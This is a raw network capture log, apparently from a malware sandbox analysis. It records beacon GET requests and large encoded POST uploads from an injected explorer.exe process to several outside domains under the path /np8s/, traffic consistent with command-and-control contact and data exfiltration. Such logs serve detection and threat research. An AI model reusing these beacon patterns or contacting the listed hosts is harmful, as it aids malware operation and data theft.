CJmiibW7qXZUd2CQjFhxE9Zd8PmDZgQI8Nk4iLAHYe6smYcWCYSSTI9VCfRUho7ITZDAvg1l0XB6DfxUOtgZCs4JNzM_6EBnylKCJnMTFn7SeTYgK4SdtFLZTbx-Pv1NLbvEhUWoCaMqADOM3MpCq62E19jYiyWDkMjO251HRPATAdE6agdW3YNcDA5ViA4sZaeVj7yIfkfEAJnPD1NIcKS_4ybAPKjvGRfA6FKFMgQVM9B9BOf_ZV~ek1JkhB0nNpS4p9(KOuFF3W58xgC7LDgPrK5omMMEqCw7q4ft9ZMxFSVE7f~EXHQwfoErAI(CQkFrBj9xCCWFcGZV5d1cv_gwsqd8SEJcHe3DbwmzvdI1zIvob2N5~fTGvxXoA5D8L80KIAfAMS9SmC0f5ZkBPtEZupwWKSm5s4AZ5-edDRc8COHmygi9n5ZLSfPubeXxdd6JWl1skf65yT3j1Xh-9zAGAhPRgZxTcICrPhpfCyx4FYIfEHxdq8dvQs4uFJNesmm7yT2UYsrkij9DhrKw5ezdWxW3LV8lHinIad(113hzNkGjUD0TewmRR2l3UxtKKxQKYRyVbOs4hSVojCoexZCy93EeqttWrVYoEmvtceGVpMQdjidr2Pm7Gl68uH9TEgIULLfDORoMIMnDmbs7hCU-ESz6NkJmgWd8TKMYOil6NBG6K7vS28hQhUTGAi9Ix1hHPbFnqD0k78zX~IliI-ccBVaYEoXntTvY3HiSmGqwofo8FnqEeSXwuoRbP9bJXmLp
May 27, 2022 18:43:40.601433992 CEST	9623	OUT	Data Raw: 31 4f 45 72 49 37 73 43 36 7a 33 46 52 28 6a 43 6f 75 48 44 4e 71 4a 4e 51 6d 33 76 58 73 51 6c 65 31 56 4d 65 4f 72 41 31 4a 7a 66 4b 31 58 6e 47 4a 32 76 47 72 47 31 6a 42 62 71 6a 45 6e 65 59 39 63 61 76 76 66 4a 50 77 6e 79 4a 7a 54 71 53 44 Data Ascii: 1OErI7sC6z3FR(jCouHDNqJNQm3vXsQle1VMeOrA1JzfK1XnGJ2vGrG1jBbqjEneY9cavvfJPwnyJzTqSDxBDZ7GUFbuQ9u3j(_p0ulvq8p926c~fdGd6lI(HdyDto2(4vTNH5q31vW0w7sjfQY8-nP5FPV8nvJZOC7J6ZyXfpazs50cMMTbxfnNFzcDVKtcXLb6fbhOMF51Foodib8DLEeBgOreembNw2_Jb5ISH1dGeO7mTFc
May 27, 2022 18:43:40.601485014 CEST	9623	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 27 May 2022 16:43:40 GMT Content-Type: text/html Content-Length: 178 Connection: close Location: https://www.brawlhallacodestore.com/np8s/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
May 27, 2022 18:43:40.601506948 CEST	9636	OUT	Data Raw: 52 28 39 44 55 6d 52 38 6d 37 57 48 79 75 71 66 33 7e 53 72 5a 71 55 6b 5f 33 33 34 6b 37 32 55 31 44 36 73 77 55 30 72 2d 6e 39 4d 46 34 47 53 70 65 54 74 39 72 37 41 72 32 58 4c 35 36 65 30 62 68 2d 55 36 4b 47 41 53 34 46 76 65 44 79 49 37 33 Data Ascii: R(9DUmR8m7WHyuqf3~SrZqUk_334k72U1D6swU0r-n9MF4GSpeTt9r7Ar2XL56e0bh-U6KGAS4FveDyI73TpRYSYuETNzwX3mC37tXVX9x3wr4BIOGZnE1O8dSHwQxlJ26h4tZNGZ~kqlj8Vzh73PKjQa8RLkVXeIyTR0RDnPmGsihI86sZnpZWn2AtFdUYIgqyot5zzD6bOlNvDB5mTr3O7Zcb0sYZjuR2uFsxccIOWentCnBb

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49906	52.17.85.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:40.666318893 CEST	9638	OUT	GET /np8s/?zVB=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291Cc0nRXdmgbio7b0swgMzU3Pebjd8T&4hM4=o4B0f HTTP/1.1 Host: www.brawlhallacodestore.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:43:40.714349985 CEST	9638	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 27 May 2022 16:43:40 GMT Content-Type: text/html Content-Length: 178 Connection: close Location: https://www.brawlhallacodestore.com/np8s/?zVB=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291Cc0nRXdmgbio7b0swgMzU3Pebjd8T&4hM4=o4B0f Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49911	185.53.179.171	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:48.400599003 CEST	9641	OUT	POST /np8s/ HTTP/1.1 Host: www.pdwfifi.com Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.pdwfifi.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.pdwfifi.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 7e 4a 4c 69 37 73 45 78 62 34 72 33 6b 39 4b 7a 77 46 68 38 79 39 56 43 56 59 4b 36 62 59 78 75 49 56 34 78 33 6d 65 4a 48 6b 6d 35 36 46 43 5a 70 53 53 68 69 76 43 6a 4a 5f 76 2d 75 79 50 6e 44 75 33 45 35 6a 78 6c 52 61 6d 35 69 49 62 4a 6e 4b 7a 63 55 52 73 58 6f 73 37 61 46 63 69 51 52 4e 4c 68 6f 42 43 59 44 34 74 67 36 53 76 6c 4b 44 74 5a 77 2d 4f 45 77 4f 34 32 76 41 76 43 49 2d 64 67 49 6c 64 66 79 6e 75 4d 50 68 66 62 39 31 68 56 46 37 54 61 58 78 54 39 64 6b 6d 42 4c 63 28 71 65 36 31 46 36 4e 6c 71 72 6a 34 77 30 58 43 4e 66 71 6b 4c 73 4b 41 64 75 59 44 37 7e 38 6f 7a 45 37 71 65 51 67 57 32 44 4c 4b 52 77 43 4e 75 33 34 6a 2d 41 5f 49 56 72 4c 78 37 46 52 28 46 31 78 62 6e 53 68 69 44 6f 67 67 78 67 79 72 45 35 33 4e 76 30 63 47 53 77 78 4e 30 38 41 36 57 70 54 50 70 52 2d 55 51 49 39 5a 4d 43 4e 4b 55 41 63 68 58 6f 69 39 78 34 4a 64 70 55 6d 6c 67 57 36 36 36 44 66 4d 41 62 67 67 44 71 74 75 6b 48 65 49 78 56 37 46 4c 61 4c 47 4a 58 39 41 4a 5a 37 50 34 5a 2d 35 47 74 4c 50 59 7a 41 74 56 51 4f 75 54 51 33 31 55 78 73 77 73 6c 6b 6f 33 57 69 6c 39 4f 36 7a 6f 59 41 33 49 46 4d 4b 51 32 48 49 54 58 37 44 78 61 34 70 36 57 41 4c 72 62 45 39 72 64 75 68 4f 70 4b 4c 56 4c 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=~JLi7sExb4r3k9KzwFh8y9VCVYK6bYxuIV4x3meJHkm56FCZpSShivCjJ_v-uyPnDu3E5jxlRam5iIbJnKzcURsXos7aFciQRNLhoBCYD4tg6SvlKDtZw-OEwO42vAvCI-dgIldfynuMPhfb91hVF7TaXxT9dkmBLc(qe61F6Nlqrj4w0XCNfqkLsKAduYD7~8ozE7qeQgW2DLKRwCNu34j-A_IVrLx7FR(F1xbnShiDoggxgyrE53Nv0cGSwxN08A6WpTPpR-UQI9ZMCNKUAchXoi9x4JdpUmlgW666DfMAbggDqtukHeIxV7FLaLGJX9AJZ7P4Z-5GtLPYzAtVQOuTQ31Uxswslko3Wil9O6zoYA3IFMKQ2HITX7Dxa4p6WALrbE9rduhOpKLVLQ).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49912	185.53.179.171	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:48.436122894 CEST	9654	OUT	POST /np8s/ HTTP/1.1 Host: www.pdwfifi.com Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.pdwfifi.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.pdwfifi.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 7e 4a 4c 69 37 70 38 64 43 4c 7e 78 67 64 48 54 39 53 78 6f 71 59 64 41 61 4a 7e 5f 47 70 63 77 66 33 41 62 71 58 4f 65 45 6c 65 76 72 46 32 34 69 78 69 35 69 71 7e 4f 64 63 4c 69 71 53 54 67 44 75 76 75 35 6a 39 6c 57 71 50 6e 69 70 4c 6a 6b 6f 72 64 51 78 73 6e 70 73 37 48 54 74 4f 39 52 4e 66 48 6f 42 62 41 44 4c 70 67 37 30 72 6c 62 55 35 65 30 65 4f 4f 39 75 4a 76 72 41 7a 66 49 2d 46 47 49 6b 68 66 79 58 79 4d 4f 43 48 61 31 55 68 61 43 72 54 66 53 78 54 6f 55 45 71 5f 4c 63 79 5f 65 37 6c 46 37 34 39 71 71 33 49 77 79 6c 71 4f 55 36 6b 43 6f 4b 41 41 71 64 61 6e 7e 38 30 4a 45 2d 47 6b 51 31 57 32 41 62 4b 51 36 78 73 64 77 76 33 70 47 5f 4d 69 72 4c 39 43 47 43 37 64 31 30 72 62 46 41 53 34 30 53 59 62 67 77 48 36 36 58 4e 72 67 4d 47 43 77 78 4e 41 38 41 37 46 70 53 28 70 52 38 30 51 4a 73 70 4d 4c 72 65 58 49 4d 68 57 6c 43 38 73 38 4a 52 73 55 6d 38 46 57 34 75 71 44 4e 49 41 62 30 38 44 73 50 32 6c 65 65 49 7a 57 37 46 6c 48 62 47 4d 58 39 41 72 5a 5f 61 6c 5a 4a 68 47 74 61 50 59 30 6c 78 56 53 65 75 54 65 58 31 57 37 4d 30 38 6c 6b 78 38 57 67 39 74 4f 74 44 6f 66 53 28 49 45 74 4b 51 79 33 49 54 44 4c 44 76 64 74 45 44 63 42 6a 61 4d 32 63 67 43 71 45 6d 69 61 4b 66 52 46 76 4c 34 59 63 63 6e 43 77 64 70 64 42 50 30 58 45 74 6b 75 58 56 6e 31 34 77 6f 71 7a 30 4f 56 70 39 76 69 59 55 6f 43 45 35 65 2d 57 5a 72 63 6c 4d 33 7a 75 4c 66 30 41 6d 32 39 52 5a 36 37 75 50 43 43 65 32 70 63 4d 38 58 69 73 5a 6d 32 72 43 42 38 42 51 38 31 6a 4e 37 70 68 43 58 35 35 33 50 6a 34 55 4a 4e 6e 50 37 47 4d 78 69 63 64 32 4f 67 76 39 32 68 4a 5a 7a 77 74 6d 42 4a 66 7a 59 4f 30 30 79 51 64 6a 70 36 28 42 47 31 30 6b 50 7a 61 65 76 48 77 52 70 5f 77 77 6a 2d 41 32 6f 34 47 72 33 39 38 74 68 36 50 2d 7a 42 44 2d 37 4f 70 79 34 7a 34 43 78 34 68 48 53 44 76 74 4f 54 6a 54 35 48 47 36 37 49 28 39 38 32 6d 78 33 37 72 6d 6b 67 36 6c 37 4a 78 75 7a 41 6d 31 4a 79 71 71 61 78 71 34 32 43 5a 6e 39 4e 6d 37 4a 7a 51 41 62 62 43 79 69 33 6d 77 28 31 6b 45 69 36 52 4e 52 6c 77 6d 5a 33 73 51 34 34 67 71 65 46 58 67 64 79 39 7a 55 71 41 56 49 64 6e 4e 39 55 47 5f 65 31 59 6d 50 55 68 53 77 48 44 64 47 47 39 6a 6f 64 65 4a 4b 6e 6c 38 71 74 44 6f 58 47 71 74 30 58 49 77 39 54 59 6e 65 49 32 75 61 61 6a 79 68 57 68 71 33 69 4a 33 32 49 33 6b 6d 58 46 52 51 52 46 65 71 67 46 69 58 35 56 64 37 73 43 30 6a 38 42 4a 63 54 6e 36 4c 77 28 54 6a 4f 35 51 57 78 5a 75 4b 57 56 32 64 6c 32 51 7a 41 7e 63 34 45 31 68 38 55 72 47 54 73 33 6c 54 76 42 31 53 4e 6f 54 6a 55 54 47 74 45 4f 77 63 76 44 70 66 30 36 47 50 52 64 63 63 35 4e 34 4c 66 57 65 35 32 35 51 63 54 57 74 57 2d 72 54 6d 76 46 68 65 4a 28 4f 70 73 52 35 50 7a 66 75 50 53 50 46 66 4d 62 63 28 35 45 67 72 34 43 30 32 32 55 56 36 56 63 35 6f 65 70 7a 38 4e 79 76 33 4f 33 61 28 45 44 5a 61 5a 69 4c 63 76 48 39 32 53 75 59 6c 5a 4b 42 57 36 4e 4a 4b 34 50 76 62 56 34 33 62 78 41 45 57 79 31 37 4e 41 4f 47 47 38 39 55 6e 41 62 34 39 7a 34 45 6f 64 38 38 58 47 6a 62 77 75 6c 33 35 32 54 41 31 50 61 31 6d 4c 74 33 6c 7a 51 6d 6d 59 51 68 6e 36 46 77 39 5f 46 7a 61 71 37 38 54 4d 67 4b 7a 76 78 5f 67 53 62 59 4d 7a 55 32 71 47 48 68 33 2d 6c 36 41 4c 34 67 6a 6f 63 4c 66 6a 6f 4a 31 70 48 45 38 59 64 5a 32 47 33 69 4c 37 44 51 62 5f 53 44 51 30 7e 63 69 55 54 43 38 72 56 68 39 37 4d 77 63 42 7a 48 6d 6b 43 78 5a 50 65 34 67 50 7e 58 50 6e 66 5a 7a 56 47 6a 58 72 68 44 7e 5f 58 5f 36 79 72 42 6d 41 42 5a 33 75 7a 4b 56 4a 51 34 65 65 43 4f 36 35 76 35 47 69 39 47 4b 5f 69 61 41 32 68 7a 47 53 30 6c 69 2d 47 35 78 4d 67 50 57 39 42 47 50 44 51 34 71 62 79 31 6c 41 64 54 6c 61 6c 38 41 62 4a 35 73 76 33 48 38 61 5a 38 59 59 75 74 74 53 31 62 38 43 28 75 49 2d 71 78 51 52 43 58 71 64 43 79 4c 7a 72 5a 5a 43 6a 37 53 31 39 4c 55 48 4f 34 76 4f 35 4a 4d 6a 76 77 4a 63 51 51 4e 35 58 5a 28 65 4f 66 34 6e 4a 54 39 5a 79 56 55 75 46 55 34 44 64 66 64 46 6a 66 6e 79 42 78 50 52 50 6f 70 4a 45 73 49 6a 4d 44 73 5a 67 73 4a 33 72 39 64 75 33 7a 31 35 77 4f 4a 32 36 66 31 46 6e 73 42 68 56 36 58 71 43 5f 34 38 36 62 74 76 53 73 69 57 51 34 65 57 4f 54 51 35 4e 47 6a 42 68 58 69 4e 63 Data Ascii: zVB=~JLi7p8dCL~xgdHT9SxoqYdAaJ~_Gpcwf3AbqXOeElevrF24ixi5iq~OdcLiqSTgDuvu5j9lWqPnipLjkordQxsnps7HTtO9RNfHoBbADLpg70rlbU5e0eOO9uJvrAzfI-FGIkhfyXyMOCHa1UhaCrTfSxToUEq_Lcy_e7lF749qq3IwylqOU6kCoKAAqdan~80JE-GkQ1W2AbKQ6xsdwv3pG_MirL9CGC7d10rbFAS40SYbgwH66XNrgMGCwxNA8A7FpS(pR80QJspMLreXIMhWlC8s8JRsUm8FW4uqDNIAb08DsP2leeIzW7FlHbGMX9ArZ_alZJhGtaPY0lxVSeuTeX1W7M08lkx8Wg9tOtDofS(IEtKQy3ITDLDvdtEDcBjaM2cgCqEmiaKfRFvL4YccnCwdpdBP0XEtkuXVn14woqz0OVp9viYUoCE5e-WZrclM3zuLf0Am29RZ67uPCCe2pcM8XisZm2rCB8BQ81jN7phCX553Pj4UJNnP7GMxicd2Ogv92hJZzwtmBJfzYO00yQdjp6(BG10kPzaevHwRp_wwj-A2o4Gr398th6P-zBD-7Opy4z4Cx4hHSDvtOTjT5HG67I(982mx37rmkg6l7JxuzAm1Jyqqaxq42CZn9Nm7JzQAbbCyi3mw(1kEi6RNRlwmZ3sQ44gqeFXgdy9zUqAVIdnN9UG_e1YmPUhSwHDdGG9jodeJKnl8qtDoXGqt0XIw9TYneI2uaajyhWhq3iJ32I3kmXFRQRFeqgFiX5Vd7sC0j8BJcTn6Lw(TjO5QWxZuKWV2dl2QzA~c4E1h8UrGTs3lTvB1SNoTjUTGtEOwcvDpf06GPRdcc5N4LfWe525QcTWtW-rTmvFheJ(OpsR5PzfuPSPFfMbc(5Egr4C022UV6Vc5oepz8Nyv3O3a(EDZaZiLcvH92SuYlZKBW6NJK4PvbV43bxAEWy17NAOGG89UnAb49z4Eod88XGjbwul352TA1Pa1mLt3lzQmmYQhn6Fw9_Fzaq78TMgKzvx_gSbYMzU2qGHh3-l6AL4gjocLfjoJ1pHE8YdZ2G3iL7DQb_SDQ0~ciUTC8rVh97MwcBzHmkCxZPe4gP~XPnfZzVGjXrhD~_X_6yrBmABZ3uzKVJQ4eeCO65v5Gi9GK_iaA2hzGS0li-G5xMgPW9BGPDQ4qby1lAdTlal8AbJ5sv3H8aZ8YYuttS1b8C(uI-qxQRCXqdCyLzrZZCj7S19LUHO4vO5JMjvwJcQQN5XZ(eOf4nJT9ZyVUuFU4DdfdFjfnyBxPRPopJEsIjMDsZgsJ3r9du3z15wOJ26f1FnsBhV6XqC_486btvSsiWQ4eWOTQ5NGjBhXiNcKQouejWj9JrfbTtVCx8Rga-BqFdlXkYXJHuwu1nXd31G9dV2caIB70AF7GDBxNtIDn7uga2wTtmPNVjrtzuOq1dZ8VbJDJnXY7aVgMaEdvmVmFRszoFU6H8d_hJn6MZfLU4xLSUVFp-ZEjaI5VPyxPXPyvV3lVPNQpASlPbQeGJ3_qAnrDTEeBajGJUvlWUOs833ARjxgopiz(RFrZV4qKGYDDnAdX9g3IbZnzRmEoYssTzSTa2ITOz7RkKgcasDBlfiwr4p-XV~VVd18sPeuQ3Cq1FMCRMnekbjGJGyw0zLQEAn-O-HAnfjRLBs8xDPRTgeKRu02cOXEiOs3iHmg39pOg-HUq5nT5VZg(cpjT4kpkS(2bU~j5cqQhok9rJ(Uj1HwnH8XgLMZUBHowkMwVg(k0vI6YE1y18DD6y944UEZN5Hc(aStZ-y4KsMA3rMdJ2aGx7dbMCDm73YY6byAVKXdaD9LUkd3w5nGUnWpL77qdTkRH7SIa3272xLnxQ4xsU8zM7HoAuSUBnfIGeUk9_LWX8LWjXn4XxF381V3vbijdb3gWzxJFTsHEzsGBwyDPN5G1sl51Ecb54WnPJ(Iba9UCyP1JVSuyfBGRluF2wZrhLVrHy5Lt0WG8RaZttIucHrx81OUP7NOTpAn19ki8vnSRdxPMTe2f5vOydEORYNwoowMpbMGmBVSoOLQ2RN8srZ6YPHSCmsBLb46qEP87LX2Fmao0GSveXZisFbMcbSbRQR9FCGrpFx6hxpQulttdYQy3Wb5bHV9Tt1NEaW13nAq0Xy7whC4IOIykSn5FSowFJIFoiWTLSrE1KIftUmE9E~EBctItsRd5IZhv8vhgu4Kcxts4epYThEvc5lXGILQ25JcTIG99JsoIq49b4JV4vNZvSUcxomg(VGwML6VocKyRQAazN2SA-spQllXOy1DPQG7CC~fyDhkkg7xjehfLD4wjlHKrDKdeAcr6i9tGXdSoxtxd79re0Z8d3qofTfaqI5ip3XiNMjNR58XvuDjB2fO2_F60hF4A6IxA8B1t08HRkCtxhjExVdFguIe9o~_omxjqakgFjK997Kdb3r4xJCHmdrjnKp0Z2xk7PRK5DRdricsfOuBJZ04DE4KwQo3ZDL5tcBPV-XdnGh6ZFpmf93A7zv09ABOkzDEEz7SGc9yV-~fpnYWy9goJysfc4m0wjM3vEv9Mdcxf8TzTbnjoXcg0_X-CzPt62fFgnYCy4VZgspYLDf2U13V8Ar1ZqWRGdIJIZE2MGhdP4Hg~d32QqRq4m0sI1QIspTS2LodBxg4K-BrC7x9YvwrteMo2UNqXyGIsjWUlsmvErq_36wvsp3ncv4RwfiXxaykHkD9h7bxFHtlmuwjSdrac4vfhYZDSd0vLbFe0jEhxIsnk_J0~MyLP4c7Yh1bpm5P9PXkUBr0XA2dvwp7V2U_dybBCdMKhskvBlEFAqYII_OyigL850jh8xj_6FgPuAFjKi(2UAJp0QgW6g26es3-oYqX3LbuR_7LO7bhcPnmlAvSufgvORtjytFGOuVvdnxOPjqkBHkffYFxsi1Tk9VhROe-dICklk3foCoH3hqyhIyywejATHlLGVJYw93f5bHTqoUEfXmXMVXElxmQmOInvDvLKyedhkco6JJ3hklJktIt5jbSBscISii3WE63s1cn2mbDYsDlQGJLGt33SYuhYQHInMyjvVa2kWH2UcaFSPigVAiV4dfWnDE3KAAa3q(zvxKw~ic8BzuH89jqB638C-wdyEieYh~7hLryMnKNhrfYGtdhFFcA9aoGFStkaVfDef5Zm2enzA0_pzvYgag8xlmduzlJv5Xsh8fiMK0WrHMQZ1ThQvt03KZM2no2k_H8(OZkM4YKpYMDtablrsoMVJkJBmcasWcwg2CQ5GvIFUNljXYgD-IRGD3ZIPMCI1~vBB37VQpCVdGSzWQ2ASojrWhd1D~h(0qdqMxMGi0uXC2LugCDRtpWQfbaCiI1wk8D(x0TGneLkHIxmqojC5iHKe6iGeB2oGiikvFcLl2hCYiTa885BxleFcX6EtPcwx3bvzj7xXHQOgjB9RQKZxh2A2WOKBjJ1FmAUxdP1WHRdKaDLccXZNOWP8Xp9rpJOZG8WYRLLm(Ww74Ykmbg08GCU_QOW7c8ijU2GutUi7OHeRhLbmEq9P6lpgktywprfYVsrLSexiCLtGpXnxoUaBRQzCaahz3UKKY7WIJMJ7DIeRoakdGVNz5FCXgRWNAqvo9M~cOXHelJY4hhzUnvEJGoIy6DnF4dxNThVOuJwdPecxRNcsgkG9HKjora5_RYPqDEix1WqBRdViD_vuSelP7qQz~Bb3Uls09LmM162VFAsFNVEoL7BBdim08mo1ZSqIu3SMFTsqRSE9kJFOdCMnf4(ldz6a9sQ2NdXHEv5ZE6G6t6VN(UtYyicbctbCWccrhsDug79uZUugHFF_0VnhwMu3dRBvW60jCYPEEoMbZgxFxCV_yxzoCDKw0bEslxrmNAWSXZczoSNQ5yYtUZs26Oisgy7yVloCkm0DpN2yVAu5AQabnARBXDO_9LqjL6lDJOkGBIY2sMHmI6oJOshVk4Ewxx6qpCbcgBkoV0u-qO4aCiPiamKFgGUbqmhQtRG1JuDVGmMHgugCSEx11MVYD0ZczjcyBAQGM9oFucNX2e0uOV8WUam2EzryUXAyn9zCyCAAFuPy3_Ba18hUp649
May 27, 2022 18:43:48.453038931 CEST	9660	OUT	Data Raw: 52 73 62 36 72 47 75 42 2d 6c 69 5a 61 42 53 65 43 70 43 6a 42 50 71 57 47 55 7a 69 46 45 63 73 54 35 37 53 5f 37 4b 4e 62 67 71 46 61 54 54 73 6d 61 66 70 6e 5a 73 73 38 32 51 7e 46 65 30 6a 50 4f 6b 77 4c 59 30 7e 6d 75 7a 34 76 75 44 76 67 6b Data Ascii: Rsb6rGuB-liZaBSeCpCjBPqWGUziFEcsT57S_7KNbgqFaTTsmafpnZss82Q~Fe0jPOkwLY0~muz4vuDvgkUsw3jAJgrhWzolcFyZCqGzTxph_C-VOwO2Efhmll2OYfOZ5(weyyNsbJC5gVEl8k0Gl7Jlo43F9D2gUnkZKYEgHeb5wHMKUBsGrJ3kVa-LNlAYAfPGTKcq2KceJpXgCAFJq1ewgj5u0c4I8cTvBNjclG4yL8oPdUT
May 27, 2022 18:43:48.453078032 CEST	9668	OUT	Data Raw: 6f 4b 42 70 52 6d 44 63 70 31 6c 44 7a 28 46 47 45 73 4e 38 70 44 62 56 61 79 61 45 66 36 75 39 74 78 52 4c 6f 32 68 58 46 53 47 38 41 56 39 75 45 79 4e 58 75 4b 4b 4b 6a 4b 36 56 61 4e 4b 75 37 55 6e 32 75 6f 4f 32 50 6f 79 58 36 69 51 6d 36 64 Data Ascii: oKBpRmDcp1lDz(FGEsN8pDbVayaEf6u9txRLo2hXFSG8AV9uEyNXuKKKjK6VaNKu7Un2uoO2PoyX6iQm6dZMppYWnzPKtXC0w9cbUTXpW2wordz8Ltq5AIqFkuS3B8UrnrIMRv1x-9hNrSUTfy2YJ(ijIlsDmoNY1BpC8FK5PDIg72D11JzOVNs5UPnIRXedYbtSCXKkFFISpZJGkByGK5tu6pvmnvaixIubslvwOX_HTMxnfhz
May 27, 2022 18:43:48.453103065 CEST	9678	OUT	Data Raw: 77 59 43 58 63 64 4a 46 33 44 74 64 74 44 4c 73 52 62 51 7e 39 63 54 6e 52 32 77 32 2d 28 6e 32 45 4a 31 62 43 49 64 45 4b 35 73 6e 30 6a 51 31 39 44 50 78 71 70 4a 76 46 49 45 54 51 47 6f 66 6a 37 50 42 6c 79 4b 63 56 6a 6e 6d 54 49 41 57 6f 78 Data Ascii: wYCXcdJF3DtdtDLsRbQ~9cTnR2w2-(n2EJ1bCIdEK5sn0jQ19DPxqpJvFIETQGofj7PBlyKcVjnmTIAWoxC7Qf0NU2AmpS0y5qXjc5B~7qHl-nwEVJvAaunk56uPK4Smg8BNKd8ehRd5XuGE_PoYOzdP-iIDPV51WOBjhbM2N(7oBpXCnVGjmnldaCQfi52wLaKrCJc97GDSgLATXe0sfBGQJCVGACwwqbVTb0g6jpsL6YPoef4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49913	185.53.179.171	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:48.469747066 CEST	9679	OUT	GET /np8s/?4hM4=o4B0f&zVB=xL/YlJAUY6uB/cHSlkc/r5VaZJ7uMa0kbAtysG6BLnWT6huomjvuhq3RLtT5uw3RUbD6 HTTP/1.1 Host: www.pdwfifi.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:43:48.486145020 CEST	9679	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 27 May 2022 16:43:48 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49848	103.247.11.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:42:18.078087091 CEST	1171	OUT	GET /np8s/?4hM4=o4B0f&zVB=VOk/KoOKPmyFTHQXWsNAO627WiKHMN6hKQrMVwJFQe1euvxAvAuscpxAvIMnAXbQu1P/ HTTP/1.1 Host: www.sekolahkejepang.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:42:18.516205072 CEST	1171	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 May 2022 16:42:18 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.sekolahkejepang.com/np8s/?4hM4=o4B0f&zVB=VOk/KoOKPmyFTHQXWsNAO627WiKHMN6hKQrMVwJFQe1euvxAvAuscpxAvIMnAXbQu1P/ Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49918	45.39.111.146	80	C:\Windows\explorer.exe

